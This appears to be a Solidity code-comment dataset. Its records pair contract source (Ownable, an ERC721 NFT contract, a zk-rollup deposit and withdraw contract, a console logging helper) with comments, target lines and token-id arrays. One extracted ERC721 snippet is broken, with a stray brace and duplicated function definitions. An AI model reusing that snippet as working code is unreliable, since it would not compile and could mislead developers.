event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/JoeCash.sol
contract JoeCash is ERC721, Ownable {
string public constant name = "Joe Cash - 1631";
string public constant symbol = "JOECASH";
struct Item {
string name;
string json;
string img;
}
uint128 MAX_ITEMS = 25;
// array of items
Item[] items;
function implementsERC721() public pure returns (bool) {
return true;
}
function baseTokenURI() internal pure returns (string memory) {
return "ipfs://";
}
function tokenURI(uint256 _tokenId) public view returns (string memory) {
Item memory _item = items[_tokenId - 1];
return Strings.strConcat(
baseTokenURI(),
_item.json
);
}
function totalSupply() public view returns (uint) {
return items.length;
}
function mintItem( string calldata _name, string calldata _json, string calldata _img ) external onlyOwner returns (uint) {
require(MAX_ITEMS > totalSupply());
Item memory _item = Item({
name: _name,
json: _json,
img: _img
});
uint mintId = items.push(_item);
_mint(owner(), mintId);
return mintId;
}
} | * @title ERC721 Non-Fungible Token Standard basic implementation/ Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` Mapping from token ID to owner Mapping from token ID to approved address Mapping from owner to number of owned token Mapping from owner to operator approvals | contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) private _tokenOwner;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => Counters.Counter) private _ownedTokensCount;
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
}
constructor () public {
_registerInterface(_INTERFACE_ID_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
| 2,042,398 | [
1,
654,
39,
27,
5340,
3858,
17,
42,
20651,
1523,
3155,
8263,
5337,
4471,
19,
19344,
358,
1375,
3890,
24,
12,
79,
24410,
581,
5034,
2932,
265,
654,
39,
27,
5340,
8872,
12,
2867,
16,
2867,
16,
11890,
5034,
16,
3890,
2225,
3719,
68,
1492,
848,
506,
2546,
12700,
487,
1375,
45,
654,
39,
27,
5340,
12952,
12,
20,
2934,
265,
654,
39,
27,
5340,
8872,
18,
9663,
68,
9408,
628,
1147,
1599,
358,
3410,
9408,
628,
1147,
1599,
358,
20412,
1758,
9408,
628,
3410,
358,
1300,
434,
16199,
1147,
9408,
628,
3410,
358,
3726,
6617,
4524,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4232,
39,
27,
5340,
353,
4232,
39,
28275,
16,
467,
654,
39,
27,
5340,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
565,
1450,
9354,
87,
364,
9354,
87,
18,
4789,
31,
203,
203,
565,
1731,
24,
3238,
5381,
389,
654,
39,
27,
5340,
67,
27086,
20764,
273,
374,
92,
23014,
70,
27,
69,
3103,
31,
203,
203,
565,
2874,
261,
11890,
5034,
516,
1758,
13,
3238,
389,
2316,
5541,
31,
203,
203,
565,
2874,
261,
11890,
5034,
516,
1758,
13,
3238,
389,
2316,
12053,
4524,
31,
203,
203,
565,
2874,
261,
2867,
516,
9354,
87,
18,
4789,
13,
3238,
389,
995,
329,
5157,
1380,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
1426,
3719,
3238,
389,
9497,
12053,
4524,
31,
203,
203,
565,
1731,
24,
3238,
5381,
389,
18865,
67,
734,
67,
654,
39,
27,
5340,
273,
374,
92,
3672,
1077,
8204,
4315,
31,
203,
203,
97,
203,
203,
565,
3885,
1832,
1071,
288,
203,
3639,
389,
4861,
1358,
24899,
18865,
67,
734,
67,
654,
39,
27,
5340,
1769,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
3410,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
8443,
480,
1758,
12,
20,
3631,
315,
654,
39,
27,
5340,
30,
11013,
843,
364,
326,
3634,
1758,
8863,
203,
203,
3639,
327,
389,
995,
329,
5157,
1380,
63,
8443,
8009,
2972,
5621,
203,
565,
289,
203,
203,
565,
445,
3410,
951,
12,
11890,
2
] |
pragma solidity ^0.5.0;
import "../build/Update_verifier.sol";
import "../build/Withdraw_verifier.sol";
contract IMiMC {
function MiMCpe7(uint256,uint256) public pure returns(uint256) {}
}
contract IMiMCMerkle {
uint[16] public zeroCache;
function getRootFromProof(
uint256,
uint256[] memory,
uint256[] memory
) public view returns(uint) {}
function hashMiMC(uint[] memory) public view returns(uint){}
}
contract ITokenRegistry {
address public coordinator;
uint256 public numTokens;
mapping(address => bool) public pendingTokens;
mapping(uint256 => address) public registeredTokens;
modifier onlyCoordinator(){
assert (msg.sender == coordinator);
_;
}
function registerToken(address tokenContract) public {}
function approveToken(address tokenContract) public onlyCoordinator{}
}
contract IERC20 {
function transferFrom(address from, address to, uint256 value) public returns(bool) {}
function transfer(address recipient, uint value) public returns (bool) {}
}
contract RollupNC is Update_verifier, Withdraw_verifier{
IMiMC public mimc;
IMiMCMerkle public mimcMerkle;
ITokenRegistry public tokenRegistry;
IERC20 public tokenContract;
uint256 public currentRoot;
address public coordinator;
uint256[] public pendingDeposits;
uint public queueNumber;
uint public depositSubtreeHeight;
uint256 public updateNumber;
uint256 public BAL_DEPTH = 4;
uint256 public TX_DEPTH = 2;
// (queueNumber => [pubkey_x, pubkey_y, balance, nonce, token_type])
mapping(uint256 => uint256) public deposits; //leaf idx => leafHash
mapping(uint256 => uint256) public updates; //txRoot => update idx
event RegisteredToken(uint tokenType, address tokenContract);
event RequestDeposit(uint[2] pubkey, uint amount, uint tokenType);
event UpdatedState(uint currentRoot, uint oldRoot, uint txRoot);
event Withdraw(uint[9] accountInfo, address recipient);
constructor(
address _mimcContractAddr,
address _mimcMerkleContractAddr,
address _tokenRegistryAddr
) public {
mimc = IMiMC(_mimcContractAddr);
mimcMerkle = IMiMCMerkle(_mimcMerkleContractAddr);
tokenRegistry = ITokenRegistry(_tokenRegistryAddr);
currentRoot = mimcMerkle.zeroCache(BAL_DEPTH);
coordinator = msg.sender;
queueNumber = 0;
depositSubtreeHeight = 0;
updateNumber = 0;
}
modifier onlyCoordinator(){
assert(msg.sender == coordinator);
_;
}
// Verify SNARK proof that account merkle root is updated correctly by transactions
// @param input[0]: merkle root (after transactions)
// @param input[1]: current merkle tree root
// @param input[2]: merkle root (before transactions)
function updateState(
uint[2] memory a,
uint[2][2] memory b,
uint[2] memory c,
uint[3] memory input
) public onlyCoordinator {
require(currentRoot == input[2], "input does not match current root");
//validate proof
require(update_verifyProof(a,b,c,input),
"SNARK proof is invalid");
// update merkle root
currentRoot = input[0];
updateNumber++;
updates[input[1]] = updateNumber;
emit UpdatedState(input[0], input[1], input[2]); //newRoot, txRoot, oldRoot
}
// user tries to deposit ERC20 tokens
// @param pubkey: user public key
// @param amount: deposit value
// @param tokenType: 0 (onlyCoordinator), 1 (ETH), >1 (ERC20 tokens)
function deposit(
uint[2] memory pubkey,
uint amount,
uint tokenType
) public payable {
if ( tokenType == 0 ) {
require(
msg.sender == coordinator,
"tokenType 0 is reserved for coordinator");
require(
amount == 0 && msg.value == 0,
"tokenType 0 does not have real value");
} else if ( tokenType == 1 ) {
require(
msg.value > 0 && msg.value >= amount,
"msg.value must at least equal stated amount in wei");
} else if ( tokenType > 1 ) {
require(
amount > 0,
"token deposit must be greater than 0");
address tokenContractAddress = tokenRegistry.registeredTokens(tokenType);
tokenContract = IERC20(tokenContractAddress);
require(
tokenContract.transferFrom(msg.sender, address(this), amount),
"token transfer not approved"
);
}
uint[] memory depositArray = new uint[](5);
depositArray[0] = pubkey[0];
depositArray[1] = pubkey[1];
depositArray[2] = amount;
depositArray[3] = 0;
depositArray[4] = tokenType;
uint depositHash = mimcMerkle.hashMiMC(
depositArray
);
pendingDeposits.push(depositHash);
emit RequestDeposit(pubkey, amount, tokenType);
queueNumber++;
uint tmpDepositSubtreeHeight = 0;
uint tmp = queueNumber;
while(tmp % 2 == 0){
uint[] memory array = new uint[](2);
array[0] = pendingDeposits[pendingDeposits.length - 2];
array[1] = pendingDeposits[pendingDeposits.length - 1];
pendingDeposits[pendingDeposits.length - 2] = mimcMerkle.hashMiMC(
array
);
removeDeposit(pendingDeposits.length - 1);
tmp = tmp / 2;
tmpDepositSubtreeHeight++;
}
if (tmpDepositSubtreeHeight > depositSubtreeHeight){
depositSubtreeHeight = tmpDepositSubtreeHeight;
}
}
// coordinator adds certain number of deposits to balance tree
// coordinator must specify subtree index in the tree since the deposits
// are being inserted at a nonzero height
function processDeposits(
uint subtreeDepth,
uint[] memory subtreePosition,
uint[] memory subtreeProof
) public onlyCoordinator returns(uint256){
uint emptySubtreeRoot = mimcMerkle.zeroCache(subtreeDepth); //empty subtree of height 2
require(currentRoot == mimcMerkle.getRootFromProof(
emptySubtreeRoot, subtreePosition, subtreeProof),
"specified subtree is not empty");
currentRoot = mimcMerkle.getRootFromProof(
pendingDeposits[0], subtreePosition, subtreeProof);
removeDeposit(0);
queueNumber = queueNumber - 2**depositSubtreeHeight;
return currentRoot;
}
// user tries to withdraw ERC20 tokens
// 1. verifies if withdraw transaction exists
// 2. checks signature
// 3. transfer amount from pool to choosen address
// @param txInfo: withdrawal info
// @param position: merkle path index to merkle tree root
// @param proof: merkle path values to merkle tree root
// @param recipient: recipient address
// @param a, b, c: zk-snark proof params
function withdraw(
uint[9] memory txInfo, //[pubkeyX, pubkeyY, index, toX ,toY, nonce, amount, token_type_from, txRoot]
uint[] memory position,
uint[] memory proof,
address payable recipient,
uint[2] memory a,
uint[2][2] memory b,
uint[2] memory c
) public{
require(txInfo[7] > 0, "invalid tokenType");
require(updates[txInfo[8]] > 0, "txRoot does not exist");
uint[] memory txArray = new uint[](8);
for (uint i = 0; i < 8; i++){
txArray[i] = txInfo[i];
}
uint txLeaf = mimcMerkle.hashMiMC(txArray);
require(txInfo[8] == mimcMerkle.getRootFromProof(
txLeaf, position, proof),
"transaction does not exist in specified transactions root"
);
// message is hash of nonce and recipient address
uint[] memory msgArray = new uint[](2);
msgArray[0] = txInfo[5];
msgArray[1] = uint(recipient);
require(withdraw_verifyProof(
a, b, c,
[txInfo[0], txInfo[1], mimcMerkle.hashMiMC(msgArray)]
),
"eddsa signature is not valid");
// transfer token on tokenContract
if (txInfo[7] == 1){
// ETH
recipient.transfer(txInfo[6]);
} else {
// ERC20
address tokenContractAddress = tokenRegistry.registeredTokens(txInfo[7]);
tokenContract = IERC20(tokenContractAddress);
require(
tokenContract.transfer(recipient, txInfo[6]),
"transfer failed"
);
}
emit Withdraw(txInfo, recipient);
}
//call methods on TokenRegistry contract
function registerToken(
address tokenContractAddress
) public {
tokenRegistry.registerToken(tokenContractAddress);
}
function approveToken(
address tokenContractAddress
) public onlyCoordinator {
tokenRegistry.approveToken(tokenContractAddress);
emit RegisteredToken(tokenRegistry.numTokens(),tokenContractAddress);
}
// helper functions
function removeDeposit(uint index) internal returns(uint[] memory) {
require(index < pendingDeposits.length, "index is out of bounds");
for (uint i = index; i<pendingDeposits.length-1; i++){
pendingDeposits[i] = pendingDeposits[i+1];
}
delete pendingDeposits[pendingDeposits.length-1];
pendingDeposits.length--;
return pendingDeposits;
}
}
| message is hash of nonce and recipient address | uint[] memory msgArray = new uint[](2);
| 2,554,874 | [
1,
2150,
353,
1651,
434,
7448,
471,
8027,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
8526,
3778,
1234,
1076,
273,
394,
2254,
8526,
12,
22,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x911a768fF40e6477736AA009EF0055563982bE3a/sources/src/ExternalRefinancing.sol | @dev Reads the uint64 at `mPtr` in memory. | function readUint64(MemoryPointer mPtr) internal pure returns (uint64 value) {
assembly {
value := mload(mPtr)
}
}
| 3,218,664 | [
1,
7483,
326,
2254,
1105,
622,
1375,
81,
5263,
68,
316,
3778,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
855,
5487,
1105,
12,
6031,
4926,
312,
5263,
13,
2713,
16618,
1135,
261,
11890,
1105,
460,
13,
288,
203,
565,
19931,
288,
203,
1377,
460,
519,
312,
945,
12,
81,
5263,
13,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xa1a5143b4044cC3B710FfB8D7130b24a542536f0/sources/lib/forge-std/src/safeconsole.sol | Selector of `log(bool,bool,address)`. | function log(bool p0, bool p1, address p2) internal pure {
bytes32 m0;
bytes32 m1;
bytes32 m2;
bytes32 m3;
assembly {
m0 := mload(0x00)
m1 := mload(0x20)
m2 := mload(0x40)
m3 := mload(0x60)
mstore(0x00, 0x1078f68d)
mstore(0x20, p0)
mstore(0x40, p1)
mstore(0x60, p2)
}
_sendLogPayload(0x1c, 0x64);
assembly {
mstore(0x00, m0)
mstore(0x20, m1)
mstore(0x40, m2)
mstore(0x60, m3)
}
}
| 16,052,847 | [
1,
4320,
434,
1375,
1330,
12,
6430,
16,
6430,
16,
2867,
13,
8338,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
613,
12,
6430,
293,
20,
16,
1426,
293,
21,
16,
1758,
293,
22,
13,
2713,
16618,
288,
203,
3639,
1731,
1578,
312,
20,
31,
203,
3639,
1731,
1578,
312,
21,
31,
203,
3639,
1731,
1578,
312,
22,
31,
203,
3639,
1731,
1578,
312,
23,
31,
203,
3639,
19931,
288,
203,
5411,
312,
20,
519,
312,
945,
12,
20,
92,
713,
13,
203,
5411,
312,
21,
519,
312,
945,
12,
20,
92,
3462,
13,
203,
5411,
312,
22,
519,
312,
945,
12,
20,
92,
7132,
13,
203,
5411,
312,
23,
519,
312,
945,
12,
20,
92,
4848,
13,
203,
5411,
312,
2233,
12,
20,
92,
713,
16,
374,
92,
2163,
8285,
74,
9470,
72,
13,
203,
5411,
312,
2233,
12,
20,
92,
3462,
16,
293,
20,
13,
203,
5411,
312,
2233,
12,
20,
92,
7132,
16,
293,
21,
13,
203,
5411,
312,
2233,
12,
20,
92,
4848,
16,
293,
22,
13,
203,
3639,
289,
203,
3639,
389,
4661,
1343,
6110,
12,
20,
92,
21,
71,
16,
374,
92,
1105,
1769,
203,
3639,
19931,
288,
203,
5411,
312,
2233,
12,
20,
92,
713,
16,
312,
20,
13,
203,
5411,
312,
2233,
12,
20,
92,
3462,
16,
312,
21,
13,
203,
5411,
312,
2233,
12,
20,
92,
7132,
16,
312,
22,
13,
203,
5411,
312,
2233,
12,
20,
92,
4848,
16,
312,
23,
13,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Lock.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens at predefined intervals. Tokens not claimed at payment epochs accumulate
* Modified version of Openzeppelin's TokenTimeLock
*/
contract Lock is Ownable {
using SafeMath for uint;
enum period {
second,
minute,
hour,
